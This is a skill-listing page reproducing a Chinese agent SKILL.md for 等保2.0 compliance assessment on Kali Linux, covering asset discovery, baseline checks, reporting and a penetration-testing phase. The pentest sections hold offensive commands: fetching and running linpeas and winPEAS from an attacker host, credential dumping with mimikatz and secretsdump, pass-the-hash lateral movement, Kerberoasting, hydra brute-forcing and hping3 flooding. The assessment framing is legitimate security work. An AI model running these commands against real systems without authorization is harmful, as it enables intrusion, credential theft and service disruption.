Agent skill

Djbh Assessment

by openocta in openocta/openocta_skills

Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T…

MITAuto-check: notesSecurity

Install Djbh Assessment

skills CLI
$ npx skills add openocta/openocta_skills --skill djbh-assessment -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install openocta/openocta_skills djbh-assessment --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/openocta/openocta_skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/'等保测评skill' .claude/skills/djbh-assessment && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
djbh-assessment
GitHub stars
167
Token cost
~6.3k tokens
SKILL.md length
440 words
Files
1
Skills in repo
8
Repo updated
First seen
Licence
MIT

At a glance

Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T…

  • Works in 6 steps: 环境: Kali… → 授权: 必须取得客户书面授权书,明确测评范围和允许的操作 → 流程: 严格按六阶段执行——定级确认→差距分析→现场测评→整改建议→复测→报告 → …
  • Tasks that involve Penetration testing
  • SKILL.md covers 等保级别速查, 等保2.0安全域全景图, 一、测评全流程(六阶段) and 阶段0:系统定级与备案, plus 6 more sections
  • Calls curl, python3 and rsync

What it does

Djbh Assessment is an agent skill from openocta/openocta_skills. Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019.

Its SKILL.md is about 6.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Penetration testing. It works with Linux. The repository describes itself as: 本仓库用于汇集第三方贡献的 OpenOcta 技能(Skill)资源,便于分享、版本管理与分发。 The licence is MIT.

When your agent uses it

  • Tasks that involve Penetration testing

Example prompts

  • “/djbh-assessment”

Workflow steps

6 steps, taken from the first numbered list in SKILL.md.

  1. 环境: Kali Linux,确保工具已安装(nmap/masscan/sqlmap/hydra/testssl/nikto/nuclei等)
  2. 授权: 必须取得客户书面授权书,明确测评范围和允许的操作
  3. 流程: 严格按六阶段执行——定级确认→差距分析→现场测评→整改建议→复测→报告
  4. 等级区分: 二级侧重网络+计算环境+区域边界;三级在此基础上增加安全管理中心
  5. 三种方法: 每项指标必须通过"访谈+核查+测试"三维交叉验证
  6. 记录留痕: 所有测试操作截图、命令输出均需存档作为测评证据

What it can do on your machine

Read from SKILL.md and the folder at commit 6ac4479. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl
    • python3
    • rsync
    • openssl
    • wget
    • jq
    • ssh
    • redis-cli
    • bash

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md. Its commands use curl, rsync, wget and ssh, which can reach the network depending on how they are called.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Djbh Assessment loads about 6.3k tokens when it runs. Until then it costs about 56 tokens; SKILL.md has 440 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~56
When it runs · the whole SKILL.md, loaded when a task matches
~6.3k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: notes

The automated check noted patterns worth knowing about, such as sudo or a known installer.

  • NoteMentions a .env fileSKILL.md:470
    # .env泄露
  • NoteMentions a .env fileSKILL.md:471
    curl -s http://<目标IP>/.env

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from openocta/openocta_skills at commit 6ac4479, republished under its MIT licence (© openocta). 440 words, ~6,268 tokens.

Download SKILL.mdSave it as .claude/skills/djbh-assessment/SKILL.md (or your agent's skills folder).
name
djbh-assessment
description
Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019.

网络安全等级保护测评技能(等保2.0)

本技能在Kali Linux环境中执行等保2.0(GB/T 22239-2019)全流程测评,覆盖安全通用要求与云计算/工控/物联网/大数据/移动互联扩展要求。

等保级别速查

等级名称典型对象测评周期
第一级自主保护级小型企业内网不定级
第二级指导保护级一般企业门户/邮件每两年一次
第三级监督保护级政务/金融/运营商每年一次
第四级强制保护级国家重要信息系统每半年一次
第五级专控保护级国家核心机密系统视情况而定

本技能以第二级和第三级为主,这也是企业最常见的等保测评级别。

等保2.0安全域全景图

┌──────────────────────────────────────────────────────────────┐
│                         安全管理要求                           │
│  安全管理制度 │ 安全管理机构 │ 安全管理人员 │ 建设管理 │ 运维管理 │
├──────────────────────────────────────────────────────────────┤
│                         安全技术要求                           │
│  物理环境 → 通信网络 → 区域边界 → 计算环境 → 管理中心          │
├──────────────────────────────────────────────────────────────┤
│                     等保2.0扩展要求(按需)                     │
│  云计算安全 │ 移动互联安全 │ 物联网安全 │ 工控安全 │ 大数据安全  │
└──────────────────────────────────────────────────────────────┘

一、测评全流程(六阶段)

系统定级 → 备案 → 差距分析 → 现场测评(访谈/核查/测试) → 整改加固 → 复测 → 报告

阶段0:系统定级与备案

等保测评的第一步,必须与客户确认目标系统已按《信息安全等级保护管理办法》完成定级和备案。

0.1 定级检查要点
序号检查项方法
1定级报告是否经专家评审查阅定级报告、评审会议纪要
2是否向公安机关备案查验备案证明
3备案等级与系统实际重要程度是否匹配比对业务描述与等级要求
4系统边界是否明确查阅系统拓扑图与网络架构文档
0.2 访谈参考问题
角色问题
系统管理员"请描述被测系统的业务范围、用户规模和核心数据"
安全负责人"定级过程中做了哪些评审?备案编号是多少?"
运维人员"系统的网络边界如何划分?与哪些外部系统互联?"

阶段1:差距分析(现状调研)

目标:通过问卷调查、文档审查和初步扫描,了解系统现状与等保目标级别之间的差距。

1.1 文档审查清单
文档类型内容
安全管理体系安全管理制度、安全策略文件、岗位职责说明
建设过程文档安全方案设计、产品采购合同、验收报告
运维过程记录巡检记录、变更审批、应急预案
人员管理记录保密协议、培训记录、离职交接单
技术配置文档网络拓扑图、IP分配表、系统配置清单
1.2 资产全发现
bash
# 步骤1: 存活主机发现(含非标准设备)
nmap -sn -PE -PP -PM <目标网段>/24 -oA phase1_live_hosts

# 步骤2: 全端口快速扫描(优先用masscan)
masscan -p1-65535 --rate=2000 -oJ masscan_all.json $(cat phase1_live_hosts.gnmap | awk '/Up$/{print $2}' | tr '\n' ' ')

# 步骤3: 对存活端口做服务识别
nmap -sS -sV -sC -O --script banner -p $(jq -r '[.[].ports[].port]|unique|join(",")' masscan_all.json) \
  -iL hosts.list -oA phase1_service_detect

# 步骤4: DNS域名发现
fierce --domain <目标域名>
dnsrecon -d <目标域名> -t axfr
dnsenum <目标域名>
1.3 Web资产深度发现
bash
# 子域名爆破
gobuster dns -d <目标域名> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50

# 目录/文件爆破
gobuster dir -u <目标URL> -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,jsp,do,action -t 50

# API端点发现
ffuf -u <目标URL>/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt

# JS源码敏感信息提取
waybackurls <目标域名> | grep -E '\.js$' | httpx -o js_files.txt
for url in $(cat js_files.txt); do
  curl -s "$url" | grep -oP '(api_key|token|secret|password|endpoint|http[s]?://[^"'"'"']+)'
done
1.4 资产分类表
类别包含对象发现方式
网络设备路由器、交换机、防火墙、负载均衡SNMP扫描、CDP/LLDP
安全设备IDS/IPS、WAF、日志审计、堡垒机端口特征识别
服务器物理机、虚拟机、云主机OS指纹、端口服务
终端办公PC、运维终端MAC地址、主机名
数据库MySQL/Oracle/SQLServer/MongoDB/Redis端口3306/1521/1433/27017/6379
中间件Tomcat/Nginx/IIS/Apache/WebLogic/JBoss端口8080/80/443/7001
应用系统Web应用、API服务、邮件系统URL扫描、业务端口

阶段2:现场测评(核心阶段)

遵照GB/T 28448-2019测评方法:访谈 → 核查 → 测试三维度交叉验证。


2.1 安全物理环境

权重:二级 5% / 三级 3%

控制点访谈问题核查内容测试验证
物理位置选择机房位于建筑哪层?现场查看楼层位置-
物理访问控制进出机房需要什么审批?门禁日志、登记表尝试尾随进入
防盗窃和防破坏设备是否固定?设备标签、线缆标识-
温湿度控制空调是否双路?温湿度记录、告警阈值检测实际温湿度
电力供应UPS能支持多久?UPS巡检记录模拟市电中断
防火有哪些消防设备?消防检测报告-
防水防潮是否有漏水检测?检查漏水检测装置-
2.2 安全通信网络

权重:二级 15% / 三级 10%

访谈
问题询问对象
"核心网络设备的处理能力是否满足业务高峰期需求?"网络管理员
"带宽如何规划?是否有QoS策略?"网络管理员
"通信线路是否有冗余?主备切换时间是多少?"网络管理员
"系统各网段如何划分?VLAN间隔离策略是什么?"网络管理员
"是否启用了网络加密通信?"安全管理员
核查
bash
# SNMP读取网络设备接口流量
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.2.2.1.10  # ifInOctets
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.2.2.1.16  # ifOutOctets

# 路由表信息泄露风险检查
snmpwalk -v2c -c <community> <目标IP> 1.3.6.1.2.1.4.21      # ipRouteTable
测试
bash
# 网络分区分域检测
# 跨VLAN通信测试
nmap -sn <VLAN_A网段> <VLAN_B网段>

# 带宽测试
iperf3 -c <目标IP> -p 5201 -t 30

# 通信加密验证
nmap --script ssl-enum-ciphers -p 443 <目标IP>
testssl.sh --csvfile tls_report.csv <目标IP>

# 网络路径追踪(确认路由是否合规)
traceroute -T <目标IP>
mtr -r -c 10 <目标IP>

2.3 安全区域边界

权重:二级 20% / 三级 15%

访谈
问题询问对象
"边界防火墙有哪些访问控制策略?是否默认拒绝?"网络管理员
"是否有入侵检测/防御系统(IDS/IPS)?"安全管理员
"是否有恶意代码防范机制?更新频率?"安全管理员
核查
bash
# 防火墙规则检测(远程探测)
nmap --script firewall-bypass -p 22,80,443,3389,8080 <目标IP>

# 检测是否有开放高危端口
nmap -p 21,23,135,139,445,3389,6379,27017 --open <目标网段> -oA open_danger_ports

# ACL有效性验证
# 使用hping3构造特殊包测试
hping3 -S -p 80 -c 3 <目标IP>
hping3 -A -p 80 -c 3 <目标IP>
hping3 -F -p 80 -c 3 <目标IP>
测试
bash
# 边界完整性检测
# 非法内联/外联测试
hping3 -S --spoof <伪造内网IP> -p 8080 <目标IP>

# 入侵检测能力验证
nmap -sS -T5 --max-retries 0 -p- <边界防火墙IP>   # 快速扫描触发告警

# DDoS防护能力简单验证
hping3 --flood -p 80 <目标IP>

2.4 安全计算环境(核心)

权重:二级 25% / 三级 20%

这是等保测评中内容最多、权重最高的安全域,涵盖身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范、数据完整性、数据保密性、数据备份恢复、剩余信息保护、个人信息保护十大控制点。

2.4.1 身份鉴别
访谈
问题对象
"操作系统是否有账号口令策略?"系统管理员
"是否使用了双因素认证?"安全管理员
"应用系统是否有验证码、登录失败锁定等机制?"应用管理员
核查 — Linux系统
bash
# 需要远程登录到目标主机执行

# 口令策略核查
cat /etc/login.defs | grep -E '^PASS_MAX_DAYS|^PASS_MIN_DAYS|^PASS_MIN_LEN|^PASS_WARN_AGE'
cat /etc/pam.d/common-password | grep pam_pwquality
cat /etc/security/pwquality.conf

# 空口令账户检查
awk -F: '($2 == "" || $2 == "!" || $2 == "*") {print "空/锁账户:", $1}' /etc/shadow

# root远程登录检查
grep "^PermitRootLogin" /etc/ssh/sshd_config

# 特权账户数量
awk -F: '($3 == 0) {print $1}' /etc/passwd

# 密码加密算法
authconfig --test | grep hashing
grep "^ENCRYPT_METHOD" /etc/login.defs
核查 — Windows系统(通过SMB远程探测)
bash
# 使用enum4linux进行账户策略探测
enum4linux -U <目标IP>
enum4linux -P <目标IP>   # 密码策略

# 通过crackmapexec检查
crackmapexec smb <目标IP> --pass-pol
crackmapexec smb <目标IP> --users
核查 — 网络设备
bash
# SNMP读取设备用户列表
snmpwalk -v2c -c <community> <设备IP> 1.3.6.1.4.1.9.9.392.1.3

# 检查SNMP默认团体字
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <设备IP>
测试 — 口令强度
bash
# 在线爆破测试(需明确授权)
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
      -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt \
      ssh://<目标IP>

# FTP弱口令
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<目标IP>

# 数据库弱口令
hydra -L user.txt -P pass.txt <目标IP> mysql
hydra -L user.txt -P pass.txt <目标IP> mssql
hydra -L user.txt -P pass.txt <目标IP> postgres
2.4.2 访问控制
核查
bash
# Linux: 文件权限检查
find /etc -type f -perm -o+w 2>/dev/null   # 关键目录全局可写
find / -perm -4000 -o -perm -2000 2>/dev/null  # SUID/SGID文件
ls -la /etc/passwd /etc/shadow /etc/group

# Linux: sudo权限
cat /etc/sudoers | grep -v '^#' | grep -v '^$'

# 共享目录权限
nmap --script smb-enum-shares -p 445 <目标IP>

# NFS目录导出权限
showmount -e <目标IP>
nmap --script nfs-showmount <目标IP>

# FTP匿名访问
nmap --script ftp-anon -p 21 <目标IP>
测试
bash
# 越权访问测试
# 尝试匿名/来宾访问SMB
smbclient -L //<目标IP> -N
smbclient //<目标IP>/share -N

# 测试NFS挂载
mount -t nfs <目标IP>:/export /mnt/target -o nolock

# 测试rsync未授权
rsync <目标IP>::   # 列出模块
rsync --list-only <目标IP>::module_name
2.4.3 安全审计
访谈
问题对象
"审计日志保存多长时间?是否定期备份?"审计管理员
"审计进程是否受保护,是否不可中断?"系统管理员
"日志是否实时发送到集中审计平台?"安全管理员
核查
bash
# Linux: 审计服务状态
systemctl status auditd
auditctl -l

# 日志配置
cat /etc/rsyslog.conf | grep -v '^#' | grep -v '^$'
grep -r "^\*\.\*" /etc/rsyslog.d/ 2>/dev/null

# 日志文件权限
ls -la /var/log/

# Windows: 审计策略(通过crackmapexec)
crackmapexec smb <目标IP> -u user -p pass --audit-policies
测试
bash
# 审计日志完整性测试
# 生成一次登录失败事件,确认日志记录
ssh nonexist@<目标IP>

# 日志未外发检测
nmap --script rsyslog-info -p 514 <目标IP>

# Syslog接收端检查
nmap -sU -p 514 <目标IP>
2.4.4 入侵防范
核查
bash
# Linux: 是否安装HIDS
ps aux | grep -iE 'ossec|wazuh|aide|tripwire|rkhunter|chkrootkit'

# 是否开启selinux/apparmor
getenforce
aa-status

# 是否关闭不必要服务
ss -tlnp
ss -ulnp

# 高危端口开放情况
ss -tlnp | grep -E ':21|:23|:513|:514|:111|:2049'
测试
bash
# 已知漏洞快速检测
nmap --script vuln --script-timeout 30s <目标IP>

# 永恒之蓝
nmap --script smb-vuln-ms17-010 -p 445 <目标IP>

# 心脏滴血
nmap --script ssl-heartbleed -p 443 <目标IP>

# RDP BlueKeep
nmap --script rdp-vuln-ms12-020 -p 3389 <目标IP>

# 暴露服务版本是否有已知CVE(使用searchsploit查询)
searchsploit apache 2.4.49
searchsploit openssh 7.4
2.4.5 中间件安全专项
bash
# Tomcat安全检测
nmap --script http-tomcat-brute -p 8080 <目标IP>
curl -s http://<目标IP>:8080/manager/html | head
curl -s http://<目标IP>:8080/host-manager/html | head

# JBoss/WildFly
nmap --script http-jboss-status -p 8080,9990 <目标IP>
curl -s http://<目标IP>:8080/jmx-console/
curl -s http://<目标IP>:8080/web-console/

# WebLogic
nmap -p 7001,7002 --script http-weblogic-t3 <目标IP>
curl -s http://<目标IP>:7001/console/

# phpMyAdmin
curl -s http://<目标IP>/phpmyadmin/
curl -s http://<目标IP>/phpMyAdmin/

# .git泄露
curl -s http://<目标IP>/.git/HEAD
curl -s http://<目标IP>/.svn/entries

# .env泄露
curl -s http://<目标IP>/.env
2.4.6 数据库安全专项
bash
# MySQL空口令
nmap --script mysql-empty-password -p 3306 <目标IP>

# MySQL枚举
nmap --script mysql-enum -p 3306 <目标IP>

# MSSQL空口令
nmap --script ms-sql-empty-password -p 1433 <目标IP>

# MSSQL信息收集
nmap --script ms-sql-info -p 1433 <目标IP>

# Oracle TNS版本
nmap --script oracle-tns-version -p 1521 <目标IP>
tnscmd10g version -h <目标IP>

# MongoDB未授权
nmap --script mongodb-info -p 27017 <目标IP>
echo 'db.version()' | timeout 3 nc <目标IP> 27017

# Redis未授权
nmap --script redis-info -p 6379 <目标IP>
redis-cli -h <目标IP> INFO server 2>/dev/null

# Elasticsearch未授权
curl -s http://<目标IP>:9200/_cat/indices
curl -s http://<目标IP>:9200/_nodes

# Memcached未授权
echo "stats" | timeout 3 nc <目标IP> 11211
2.4.7 数据安全专项
核查
bash
# 数据备份检查(访谈为主,技术层面可做以下验证)
nmap -p 873 --script rsync-list-modules <目标IP>   # rsync备份服务
测试
bash
# 敏感数据传输加密
nmap --script ssl-enum-ciphers -p 443 <目标IP>
curl -I -k https://<目标IP> | grep -i strict-transport-security

# Cookie安全属性
curl -I http://<目标IP> | grep -i set-cookie
# 需确认含 HttpOnly、Secure、SameSite 属性

# 数据传输是否明文
tcpdump -i eth0 -A -s 0 port 80 and host <目标IP>
# 观察登录请求中是否传输明文密码

2.5 安全管理中心

等保2.0新增安全域,三级必备 | 权重:二级 N/A / 三级 10%

访谈
问题对象
"是否有集中安全管理平台(SOC/SIEM)?"安全管理员
"是否对安全设备进行集中监控和告警?"安全管理员
"是否有统一的日志分析、关联分析能力?"审计管理员
核查
bash
# 安全运营中心探活
nmap -p 443,8443,9443 --open <管理网段>

# Syslog集中收集
nmap -sU -p 514 --open <管理网段>

# SIEM/SOC平台识别
whatweb <SOC平台URL>

# 审计平台识别
nmap -p 5601,9200 --open <管理网段>   # Elasticsearch/Kibana
nmap -p 8000,8089 --open <管理网段>   # Splunk

2.6 虚拟化安全专项(等保2.0新增)
bash
# vSphere/ESXi
nmap -p 443,902,903 --script http-vmware-path-vuln <虚拟化平台IP>

# Docker API未授权
curl -s http://<目标IP>:2375/containers/json
curl -s http://<目标IP>:2376/containers/json

# Kubernetes API Server
curl -k https://<目标IP>:6443/version
curl -k https://<目标IP>:6443/api/v1/namespaces

# etcd未授权
curl http://<目标IP>:2379/v2/keys

2.7 密码应用安全专项(商用密码合规)
bash
# 国密算法支持检测
nmap --script ssl-enum-ciphers -p 443 <目标IP> | grep -i 'SM2\|SM3\|SM4'

# 检查是否仍然使用MD5/SHA1证书
openssl s_client -connect <目标IP>:443 -servername <域名> 2>/dev/null | openssl x509 -noout -text | grep 'Signature Algorithm'

阶段3:渗透测试

注意:仅在客户提供书面授权且确认不影响业务的前提下执行。

3.1 Web应用渗透
bash
# OWASP Top 10 自动化检测
# Nikto
nikto -h <目标URL> -output nikto_report.html -Format html

# Nuclei模板扫描
nuclei -u <目标URL> -t cves/ -t vulnerabilities/ -t exposures/ -t misconfiguration/ -o nuclei_report.txt

# SQL注入深度测试
sqlmap -u "<目标URL>?id=1" --batch --dbs --random-agent --level=3 --risk=2

# XSS测试
xsser --url="<目标URL>" --auto
dalfox url <目标URL>

# SSRF测试
# 在参数中内嵌burp collaborator地址,观察是否有SSRF回连

# 文件上传绕过测试
# 构造各类特殊后缀(.php5, .phtml, .php%00.jpg等)

# 命令注入测试
# 在参数中插入 ;id、|id、`id`等payload
Show full SKILL.md (176 more words)Show less
3.2 系统渗透
bash
# Metasploit自动化
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS <目标IP>; run; exit"

# 已知漏洞利用
searchsploit --nmap scan_report.xml  # 将nmap结果与exploit-db关联

# 权限提升(获取shell后)
wget http://<攻击机IP>/linpeas.sh -O /tmp/lp.sh && bash /tmp/lp.sh
wget http://<攻击机IP>/winPEAS.exe -O C:\Users\Public\wp.exe && C:\Users\Public\wp.exe
3.3 内网横向渗透
bash
# 网络拓扑发现(从立足点)
# Linux上
for i in $(ip route | grep -oP '(\d+\.){2}\d+\.\d+/\d+'); do fping -a -g $i 2>/dev/null; done

# 凭据收集
mimikatz
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py domain/user:pass@<DC_IP>

# 横向移动
crackmapexec smb <内网段> -u user -H NTLM_HASH --shares
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :NTLM_HASH domain/user@<目标IP>
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :NTLM_HASH domain/user@<目标IP>

# Kerberoasting
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py domain/user:pass -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt

阶段4:整改加固建议

根据差距分析和现场测评结果,将不符合项按严重程度分为三级,提出可操作的整改建议。

问题分级定义整改时限
高危可直接导致系统被攻击、数据泄露立即整改
中危存在安全隐患,可能被利用30天内
低危安全配置建议,优化项90天内
常见整改项速查
不合规项等保要求整改方案
密码策略弱密码长度≥8位,含大小写数字特殊字符三种以上修改/etc/login.defs + pwquality.conf
未限制登录失败连续失败5次锁定≥10分钟配置pam_tally2 或 fail2ban
root远程登录禁止root直接远程登录PermitRootLogin no
默认SNMP团体字不使用public/private修改SNMP v3或复杂团体字
高危端口开放关闭telnet/ftp/rlogin等不安全服务systemctl disable --now telnet.socket
日志未集中管理审计日志需集中存储配置rsyslog转发到日志服务器
未配置HTTPS敏感数据传输需加密部署SSL证书,强制HTTPS
存在已知CVE及时打补丁升级软件版本或配置虚拟补丁(WAF)

阶段5:复测验证

步骤操作
1逐一核实高危和中危不符合项是否已整改
2对整改项执行原测试命令做回归验证
3截图/录屏保存整改证据
4更新测评记录表中的"整改后复测"列
5确认所有不符合项已关闭或降级为残余风险
6输出复测报告,作为最终测评报告的附件

阶段6:报告生成

6.1 必须生成的测评文档
文档依据
测评方案包含测评指标、测评对象、测评方法
现场测评记录每项指标的访谈/核查/测试原始记录
测评报告(主报告)结论、分数、不符合项清单、整改建议
整改建议书可落地的技术整改步骤
复测报告整改后的回归验证结果
6.2 报告核心结构
1. 测评项目概述
   1.1 被测系统描述
   1.2 测评等级与依据
   1.3 测评范围

2. 测评过程与方法
   2.1 测评流程
   2.2 测评方法(访谈/核查/测试)

3. 被测系统概述
   3.1 网络拓扑
   3.2 资产清单
   3.3 业务应用清单

4. 单元测评结果
   4.1 安全物理环境
   4.2 安全通信网络
   4.3 安全区域边界
   4.4 安全计算环境
   4.5 安全管理中心
   4.6 安全管理制度
   4.7 安全管理机构
   4.8 安全管理人员
   4.9 安全建设管理
   4.10 安全运维管理

5. 整体测评结果
   5.1 层面间安全补偿分析
   5.2 区域间安全补偿分析

6. 综合结论与评分
   6.1 安全技术得分
   6.2 安全管理得分
   6.3 综合得分与符合性

7. 不符合项与整改建议

8. 附录
   8.1 测评记录表
   8.2 工具输出原始文件
   8.3 截图/照片证据
6.3 工具报告汇总脚本
bash
#!/bin/bash
# 等保测评报告汇总 - 将所有扫描结果整合到报告目录
# 用法: ./report_collector.sh <项目名> <扫描结果目录>

PROJECT=$1
SCAN_DIR=$2
REPORT_DIR="./djbh_report_${PROJECT}_$(date +%Y%m%d_%H%M%S)"

if [ -z "$PROJECT" ] || [ -z "$SCAN_DIR" ]; then
    echo "用法: $0 <项目名> <扫描结果目录>"
    exit 1
fi

mkdir -p "${REPORT_DIR}"/{01_asset,02_baseline,03_vuln,04_pentest,05_evidences,06_raw}

# 汇总nmap结果
cp "${SCAN_DIR}"/phase1_*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null
cp "${SCAN_DIR}"/*.xml "${REPORT_DIR}/06_raw/" 2>/dev/null

# 生成HTML报告
for xml in "${REPORT_DIR}/06_raw/"*.xml; do
    [ -f "$xml" ] && xsltproc "$xml" -o "${REPORT_DIR}/06_raw/$(basename "$xml" .xml).html" 2>/dev/null
done

# 汇总漏洞列表
grep -hri 'CVE-\|高危\|严重\|High\|Critical' "${SCAN_DIR}/"*.txt 2>/dev/null > "${REPORT_DIR}/03_vuln/vuln_summary.txt"

echo "报告目录: ${REPORT_DIR}"
echo "请将访谈记录、核查截图、复测结果放入对应子目录"

附录A:等保2.0评分速算

三级等保及格线
安全域满分及格线(≥70%)
安全物理环境100≥70
安全通信网络100≥70
安全区域边界100≥70
安全计算环境100≥70
安全管理中心100≥70
安全管理制度100≥70
安全管理机构100≥70
安全管理人员100≥70
安全建设管理100≥70
安全运维管理100≥70

整体判定规则:所有安全域均≥70分,且无"一票否决"项(如核心系统弱口令、未授权访问等),判定为基本符合。


附录B:全流程自动化脚本

bash
#!/bin/bash
# 等保2.0测评全流程自动化脚本
# 环境: Kali Linux
# 授权: 必须获得客户书面授权后方可执行

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log_info()  { echo -e "${GREEN}[INFO]${NC}  $(date '+%H:%M:%S') $*"; }
log_warn()  { echo -e "${YELLOW}[WARN]${NC}  $(date '+%H:%M:%S') $*"; }
log_error() { echo -e "${RED}[ERROR]${NC} $(date '+%H:%M:%S') $*"; }

usage() {
    cat <<EOF
用法: ./djbh_full_scan.sh <配置文件>
配置文件格式 (djbh.conf):
  TARGET_NETWORK="192.168.1.0/24"
  TARGET_WEB_URL="https://www.example.com"
  TARGET_WEB_IP="192.168.1.10"
  ASSESSMENT_LEVEL="3"          # 等保级别:2 或 3
  ENABLE_PENTEST="false"        # 是否执行渗透测试阶段
  ENABLE_BRUTEFORCE="false"     # 是否执行口令爆破
  SCAN_SPEED="4"                # nmap -T 速率
  EXCLUDE_IPS="192.168.1.1,192.168.1.254"
  MANAGER_NETWORK="10.0.0.0/24" # 管理网段(等保三级必填)
EOF
    exit 1
}

# 加载配置
CONFIG_FILE="${1:-}"
[ -z "$CONFIG_FILE" ] && usage
[ ! -f "$CONFIG_FILE" ] && { log_error "配置文件不存在: $CONFIG_FILE"; exit 1; }
source "$CONFIG_FILE"

# 校验必要参数
[ -z "${TARGET_NETWORK:-}" ] && { log_error "TARGET_NETWORK 未配置"; exit 1; }
LEVEL="${ASSESSMENT_LEVEL:-2}"

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
REPORT_BASE="./djbh_report_${TIMESTAMP}"
mkdir -p "${REPORT_BASE}"/{01_asset_discovery,02_baseline_check,03_vulnerability_scan,04_pentest,05_logs}

exec > >(tee -a "${REPORT_BASE}/05_logs/full_scan.log") 2>&1

log_info "========================================="
log_info "等保${LEVEL}级测评开始"
log_info "目标网络: ${TARGET_NETWORK}"
log_info "报告目录: ${REPORT_BASE}"
log_info "========================================="

# =============================================
# 阶段1: 信息收集与资产发现
# =============================================
log_info "阶段1: 信息收集与资产发现"

log_info "  1.1 存活主机发现..."
nmap -sn -PE -PP -PM -T"${SCAN_SPEED:-4}" "${TARGET_NETWORK}" \
    -oA "${REPORT_BASE}/01_asset_discovery/01_live_hosts" \
    --exclude "${EXCLUDE_IPS:-}"

grep "Nmap scan report" "${REPORT_BASE}/01_asset_discovery/01_live_hosts.nmap" | \
    awk '{print $NF}' | tr -d '()' > "${REPORT_BASE}/01_asset_discovery/hosts.list"

HOST_COUNT=$(wc -l < "${REPORT_BASE}/01_asset_discovery/hosts.list")
log_info "  发现存活主机: ${HOST_COUNT} 台"

if [ "$HOST_COUNT" -eq 0 ]; then
    log_warn "  未发现存活主机,检查TARGET_NETWORK配置"
    exit 0
fi

log_info "  1.2 全端口扫描..."
masscan -p1-65535 --rate=2000 -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oJ "${REPORT_BASE}/01_asset_discovery/02_masscan_ports.json" 2>/dev/null || \
    log_warn "  masscan执行异常,跳过"

log_info "  1.3 服务版本与OS检测..."
nmap -sS -sV -sC -O -T"${SCAN_SPEED:-4}" \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/01_asset_discovery/03_service_detect" \
    --exclude "${EXCLUDE_IPS:-}"

# =============================================
# 阶段2: 安全配置基线检查
# =============================================
log_info "阶段2: 安全配置基线检查"

log_info "  2.1 TLS/SSL配置检查..."
if [ -n "${TARGET_WEB_URL:-}" ]; then
    testssl.sh --csvfile "${REPORT_BASE}/02_baseline_check/tls_report.csv" \
        "${TARGET_WEB_URL}" 2>/dev/null || log_warn "  testssl.sh 执行异常"
fi

log_info "  2.2 高危端口暴露检查..."
nmap -p 21,23,135,139,445,3389,6379,27017,2375,2376,6443 \
    --open -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/02_baseline_check/04_danger_ports" \
    --exclude "${EXCLUDE_IPS:-}"

log_info "  2.3 SMB共享枚举..."
nmap -p 445 --script smb-enum-shares,smb-enum-users \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/02_baseline_check/05_smb_enum" 2>/dev/null || true

log_info "  2.4 SNMP默认团体字..."
while read -r ip; do
    onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
        "$ip" >> "${REPORT_BASE}/02_baseline_check/06_snmp_community.txt" 2>/dev/null || true
